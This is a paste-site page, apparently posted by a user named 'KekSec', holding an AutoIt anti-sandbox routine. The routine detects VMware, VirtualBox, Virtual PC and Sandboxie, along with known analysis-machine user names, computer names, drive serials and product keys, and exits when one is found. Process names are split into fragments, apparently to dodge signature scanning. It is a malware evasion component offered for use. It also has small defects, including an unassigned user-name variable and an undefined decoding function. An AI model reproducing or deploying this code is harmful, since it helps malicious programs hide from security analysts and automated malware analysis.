KekSec icon

Anti Sandbox autoit code elite

KekSec | PRO | 05/16/20 12:34:32 AM UTC | 0 ⭐ | 15741 👁️ | Never ⏰ | []
AutoIt |

2.69 KB

|

None

|

0 👍

/

0 👎

Func _GetModuleHandle($vDLL)
    $modHandle = DllCall("kernel32.dll", "long", "GetModuleHandle", "str", $vDLL)
    If IsArray($modHandle) Then
        If $modHandle[0] > 0 Then
            If _ArrayFindAll($modHandle, $vDLL) Then
                Return True
            EndIf
        Else
            SetError(-9)
            Return False
        EndIf
    Else
        SetError(-10)
        Return False
    EndIf
EndFunc   ;==>_GetModuleHandle
Func _IsInSandbox()
    If WinGetText("Program Manager") = "0" Then Return True
    If DriveSpaceFree("d:\") < 1 And ProcessExists("V" & "Mwa" & "re" & "User.exe") Then
        Return True
    EndIf
    If DriveSpaceFree("d:\") < 1 And ProcessExists("V" & "Mwa" & "re" & "Serv" & "ice.exe") Then
        Return True
    EndIf
    If ProcessExists("VBoxTray.exe") Or ProcessExists("VBo" & "xServ" & "ice.exe") Or ProcessExists("vpcmap.exe") Or ProcessExists("vpcmap.exe") Then
        Return True
    EndIf
    If ProcessExists("V" & "Mwa" & "retray.exe") Then
        Return True
    EndIf
    If ProcessExists("Vb" & "ox.exe") Then
        Return True
    EndIf
    $vComputerName = @ComputerName
    If StringLeft($vComputerName, 10) = "NONE-DUSEZ" Then
        Return True
    EndIf
    If StringLeft($vComputerName, 5) = "VMLOG" Then
        Return True
    EndIf
    $vProductKey = DecodeProductKey(RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "DigitalProductID"))
    $vDriveSerial = DriveGetSerial("C:\")
    $vExeName = StringLeft(@ScriptName, StringLen(@ScriptName) - 4)
    $vExePath = @ScriptDir & "\"
    If $vUserName = "Sndbx" Then
        If $vDriveSerial = 546811503 Then
            Return True
        EndIf
    EndIf
    If $vUserName = "tester" Then
        If $vDriveSerial = 800539777 Then
            Return True
        EndIf
    EndIf
    If $vUserName = "panda" Then
        If $vComputerName = "AUTO" Then
            Return True
        EndIf
    EndIf
    If $vUserName = "currentuser" Then
        Return True
    EndIf
    If $vExePath = "C:\" Then
        If $vExeName = "file" Then
            Return True
        ElseIf $vExeName = "Sample" Then
            Return True
        EndIf
    EndIf
    If $vProductKey = "55274" & "-339-600" & "6333-" & "22900" Then
        Return True
    EndIf
    If $vProductKey = "76487-OEM" & "-006" & "5901" & "-82986" Then
        Return True
    EndIf
    If $vComputerName = "XPSP3" Then
        If $vUserName = "Joe" Then
            Return True
        EndIf
    EndIf
    If _GetModuleHandle("Sb" & "ie" & "Dll.dll") = True Then
        Return True
    EndIf
EndFunc   ;==>_IsInSandbox
If _IsInSandbox() Then Exit -1

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎